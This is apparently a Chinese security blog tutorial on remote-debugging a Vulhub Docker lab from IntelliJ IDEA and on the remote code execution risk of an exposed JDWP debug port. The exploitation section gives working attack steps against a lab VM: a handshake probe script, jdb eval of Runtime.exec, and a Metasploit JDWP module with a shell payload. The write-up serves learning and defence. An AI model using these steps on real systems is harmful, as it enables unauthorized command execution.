IDEA远程调试与JDWP调试端口RCE漏洞_jdwp端口

前言

在对一些 Java CVE 漏洞的调试分析过程中，少不了需要搭建漏洞环境的场景，但是本地 IDEA 搭建的话既麻烦（通过 pom.xml 导入各种漏洞组件和依赖包）又不安全（容易把自己机器变成靶机了），这个时候如果能直接在虚拟机运行 Vulhub 提供的 Docker 靶场并使用物理机 IDEA 对其进行远程调试，那么这项工作就显得安全便捷了。

本文来学习下如何通过 IDEA 远程调试远程 Docker 服务的靶场环境，同时学习此类调试环境衍生的服务器安全风险——JDWP调试接口对外开放导致RCE漏洞。

Docker远程调试

Java调试原理

学习如何远程调试 Docker 容器服务之前，先来了解下 Java 调试的基本原理。本章节主要参考：使用 IDEA 快速远程调试 Docker 中运行的 Java 应用程序 （强烈推荐）。

随便起个本地 Java 项目，进行 IDEA 本地调试，可以看到如下日志：

Debug 大致过程如下：

以上过程被称为 JPDA 调用体系。JPDA（Java Platform Debugger Architecture）是 sun 公司开发的 java平台调试体系， 它主要有三个层次组成：

综上我们知道了 IDEA 调试的原理大致如下：

1. 先建立起了 socket 连接；
2. 将断点位置创建了断点事件通过 JDI 接口传给了 服务端（程序端）的 JVM，JVM 调用 suspend 将 JVM 挂起；
3. JVM 挂起之后将客户端需要获取的 JVM 信息返回给客户端，返回之后 JVM resume 恢复其运行状态；
4. 客户端获取到 JVM 返回的信息之后可以通过不同的方式展示给客户端；

总的来说，本地调试其实也可以认为是远程调试，IDEA 通过本地随机端口与 JVM 进行 socket 通信。

远程调试指的是使用本地客户端来调试运行在远程服务器上的程序。IntelliJ IDEA 远程调试的原理是，当服务器端以调试模式运行 Java 程序时，如果客户端使用文本相同的字节码和事先约定好的端口号，就可以远程调试该 Java 程序。因此，IntelliJ IDEA 远程调试的必要条件是：

1. Java 程序必须在服务端已经启动且在调试时正在运行；
2. Java 程序在服务端以调试模式启动，以调试模式启动需要在运行该 Java 程序时，使用一些调试模式的 JVM 参数；
3. 客户端使用 IntelliJ IDEA 进行调试时，使用与服务端事先约定好的相同端口号，且该端口号在服务端没有被占用；
4. 客户端使用 IntelliJ IDEA 进行调试时，使用的代码在文本上与服务端一致。

“在文本上一致” 指的是：客户端使用的代码与服务端使用的代码的文字完全相同，如果不一致，使用的断点将不起作用。文本上一致不包括注释，但包括换行。文本上一致不需要是同一个代码源文件，只需要文本相同即可。

So 问题来了：此处由于我们希望在远程调试过程中直接引用的别人的 Docker 镜像，但咱们手上又没有构建 docker 镜像时的源代码，咱们最多只能提取 docker 容器中的 jar 包，这个能不能替代服务端源代码？答案是可以的。

回想我们平时 IDEA 引入第三方 jar 包，只要 Add as Library 操作，jar 包就被打开了，可以看到 “源代码”，并且 jar 包内的 ClassName 就可以被我们实例化调用，还可以在 jar 包的 .class 文件里打断点进行调试。所以在远程调试 Docker 镜像服务的时候，我们也可以提取 docker 容器中的 jar 包，然后到 IDEA 项目中将其 Add as Library 引入即可解决代码文本与服务端保持一致的问题。

远程调试实践

此处以 Java代码审计之SpEL表达式注入漏洞分析 一文中提到的 CVE-2022-22963 靶场环境为例，在 Ubuntu 虚拟机中借助 Vulhub 靶场集成环境快速搭建 Docker 漏洞环境服务。

【注意】请先确认物理机项目的 Java 版本与远程 Docker 服务的 Java 版本一致（大版本即可，比如 Java 1.8，至于 1.8.0_202 这类的小版本则关系不大），避免断点调试失败。

1、在 docker-compose.yml 配置映射端口让 jvm debug 端口能外部访问：

2、在 docker-compose.yml 中使用 command 字段添加自定义启动命令：

java -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=xxxx -jar jar包名称.jar
//最终示例配置如下
command: java -jar -Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=9001 /spring-cloud-function-sample-0.0.1-SNAPSHOT.jar
1
2
3

是不是突然发现自己不知道 jar 包名字叫啥？可以先启动容器，然后执行 docker ps --no-trunc 输出完整的容器描述，就可以看到容器名称以及容器中的路径：

故最后添加配置如下：

3、执行命令：docker cp 容器id:jar包路径 目标路径，从 Docker 容器中获取等待调试的漏洞环境 Jar 包到 Ubuntu 虚拟机桌面：

4、Ubuntu 虚拟机搭建 python 简易 Service，通过局域网服务将文件 jar 传递到物理机中：


5、然后，划重点！！修改了 docker-compose.yml 之后，一定要执行 docker rm -f 容器ID删除容器，并重新执行docker-compose up -d生成新的容器，才会使配置生效（本人亲身踩坑的教训……）：


6、接着在物理机 IDEA 随意新建一个 Java 项目中将 spring-cloud-function-sample-0.0.1-SNAPSHOT.jar 添加到文件夹中，然后右键 jar 包，选择 Add as Lirary 将其添加到项目依赖库中：

【强烈推荐】实际上最简洁方便的方案是：直接新建一个空文件夹存放此 Jar 文件后，解压缩 jar 包，然后通过 IDEA 直接打开该文件夹就可以。

7、先在 uppercase() 函数打上断点：

8、然后在 IDEA 配置 Remote Debug：

9、然后 Debug 运行，发现可以成功连接上远程 9001 调试端口，如下日志信息即代表成功连接：

但是访问 http://192.168.51.177:8080/uppercase，却发现并无法成功拦截、调试远程程序：

10、参考 使用 IDEA 快速远程调试 Docker 中运行的 Java 应用程序 来看，需要通过 Project Structure-->Modules-->Dependencies 手动添加要调试的 class 文件的目录 BOOT-INF 到依赖之中：

11、重新 Restart Debug，并发送报文，发现就能成功在断点处拦截远程 Docker 服务执行了：

POST /uppercase HTTP/1.1
Host: 192.168.51.177:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 3

aaa
1
2
3
4
5
6
7
8
9
10
11
12

12、但是还是有问题，针对该漏洞，我们需要核心下断点的类位于 lib 文件夹下的 spring-cloud-function-web-3.3.3.jar 中，而此时的断点调试仍然无法进入第三方依赖包中，故我们尝试把 lib 文件夹复制到根目录（如果你使用我在 步骤6 中推荐的方式创建文件夹打开项目，则不需要这么麻烦地复制到根目录），并右键 Add as Library ：



不幸的是，至此发现仍然无法正常在 Spring-cloud-function-web-3.2.2.jar 依赖包 Controller 层 FunctionController.class 的 post 函数处下断点拦截、调试，原因不详（此处折腾了我一上午时间，如有大佬知情的话，辛苦留言指点下，谢谢）……

但是经 m0rta1 大佬指点，此时也并非 lib 目录下的所有依赖包都无法添加断点，此处可以采用“曲线救国”法，在 post 函数里的 processRequest 函数添加断点，则可以成功拦截程序：

最后简单总结下上述远程调试 Docker 服务的步骤：

1. 在 docker-compose.yml 配置映射端口让 jvm debug 端口能外部访问；
2. 在 docker-compose.yml 中使用 command 字段添加自定义启动命令：java -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=xxxx -jar jar包名称.jar ；
3. 容器启动后，从容器中把运行的 jar 包复制出来，新建一个文件夹将 jar 包解压缩到里面，IDEA 点击 Open 打开这个文件夹， 选择 Add as Lirary 将 lib 依赖库统一添加到项目依赖库中，并按需在代码上打上断点；
4. IDEA 配置 Remote Debug，点击 Debug 运行即可。

【致谢】此处万分感谢 m0rta1 大佬耐心地帮我解决上述调试过程中出现的疑惑，大佬博文质量很高，强烈推荐收藏关注！

JDWP端口RCE

前面说到了，JDWP 是 JVM 虚拟机支持的一种网络通讯协议，通过该协议，Debugger 端和被调试 JVM 之间可以进行通信，调试端可以获取被调试 JVM 的包括类、对象、线程等信息。

既然 JDWP 是为 Java 调试而设计的通讯交互协议，在渗透测试的过程中，如果遇到目标服务器不小心开启了对外暴露的 JDWP 服务，那么就可以利用 JDWP 实现连接远程服务器，实现远程代码执行。

调试端口探测

此处以跟上文运行 Docker 调试服务的 Ubuntu 虚拟机处于同一局域网的 KaliLinux 作为攻击机，来完成 JDWP 危险端口的探测和漏洞利用。

此处 Ubuntu 虚拟机继续开放了 8080 服务端口和 9001 调试端口：

JDWP 服务探测的原理都是一样的，即向目标端口连接后发送 JDWP-Handshake，如果目标服务直接返回一样的内容则说明是 JDWP 服务。

使用Nmap扫描

Nmap 扫描会识别到 JDWP 服务，且添加 -sV 参数则可以识别对应的 JDK 版本信息，如下所示：

使用 Telnet 命令探测

使用 Telnet 命令探测，需要马上输入 JDWP-Handshake，然后服务端返回一样的内容，证明是 JDWP 服务（有点费手，不推荐）：

──(kali㉿kali)-[~/Desktop]
└─$ telnet 192.168.51.177 9001
Trying 192.168.51.177...
Connected to 192.168.51.177.
Escape character is '^]'.
JDWP-Handshake
JDWP-Handshake
……
1
2
3
4
5
6
7
8

Python脚本探测

使用如下脚本扫描也可以，直接连接目标服务器，并向目标发送 JDWP-Handshake，如果能接收到相同内容则说明目标是开启了 JDWP 服务：

import socket

host = "192.168.51.177"
port = 9001
try:
    client = socket.socket()
    client.connect((host, port))
    client.send(b"JDWP-Handshake")
    if client.recv(1024) == b"JDWP-Handshake":
        print("[*] {}:{} Listening JDWP Service! ".format(host, port))
except Exception as e:
    print("[-] Connection failed! ")
finally:
    client.close()
1
2
3
4
5
6
7
8
9
10
11
12
13
14

调试端口利用

介绍来介绍两种方法，快速将探测到的 JDWP 服务端口转换成一个远程 RCE。

利用JDB工具

jdb 是 JDK 中自带的命令行调试工具，执行如下命令连接远程 JDWP 服务：

jdb -connect com.sun.jdi.SocketAttach:hostname=192.168.51.177,port=9001
1

接下来执行threads命令查看所有线程：

接着需要借助 thread <线程id> 命令选中一个 sleeping（正在休眠） 的线程，接下来执行stepi命令进入该线程（可通过执行help指令得知，stepi命令用于执行当前指令，启动休眠的线程）。但是我这里显然没有正在休眠的线程，导致没法继续正常往下演示，只能选取别人的截图了……

接下来可以通过 print|dump|eval 命令，执行 Java 表达式从而达成命令执行：

eval java.lang.Runtime.getRuntime().exec("whoami")
1

可以看到命令是执行成功，返回了一个 Process 对象。当然还可以进一步进行反弹 shell 的操作（Payload 注意先经过编码转换）。

更多 JDB 的用法请参见：Java调试工具 jdb：深入解析应用程序调试工具jdb 。

利用MSF的漏洞利用模块

为了方便，可以直接使用 Metasploit 自带的漏洞利用模块 exploit/multi/misc/java_jdwp_debugger 进行漏洞利用：

msfconsole
msf6 > use exploit/multi/misc/java_jdwp_debugger
msf6 exploit(multi/misc/java_jdwp_debugger) > set rhosts 192.168.51.177
msf6 exploit(multi/misc/java_jdwp_debugger) > set rport 9001
msf6 exploit(multi/misc/java_jdwp_debugger) > set payload linux/x64/shell/bind_tcp 
msf6 exploit(multi/misc/java_jdwp_debugger) > run
1
2
3
4
5
6

遗憾的是，我执行 MSF 攻击 Docker 靶机也出现了反弹 shell 创建 session 异常，提示跟上面 JDB 调试利用的异常一样：“MSF 找不到适合单步执行的线程”。

应该是自身靶场环境的问题，肝了一天了，此处暂时不花时间纠结了（后续再来溯源这个问题），先看下大佬的演示图吧：

Github利用脚本

最后，Github 也有现成的 JDWP 端口远程漏洞利用脚本：jdwp-codeifier，这里不展开，有需要自行获取测试，使用方法已有 README 文档。

总结

本文学习了如何在物理机 IDEA 中远程调试 Ununtu 虚拟机 Vubhub 靶场集成环境搭建起来的 Docker 服务，为后续漏洞分析调试提供了一种新的手段。

同时学习 Java 调试的基本步骤原理，分析了 JDWP 调试端口如果在使用完不及时关闭且暴露在外网的话可能存在的 RCE 风险。故无论是开发人员还是安全测试、运维人员，在对 Java 服务端进行远程调试后，务必终断 JDWP 调试端口。

本文参考文章：

1. JDWP调试接口RCE漏洞介绍；
2. 使用 IDEA 快速远程调试 Docker 中运行的 Java 应用程序 （附解决思考过程）；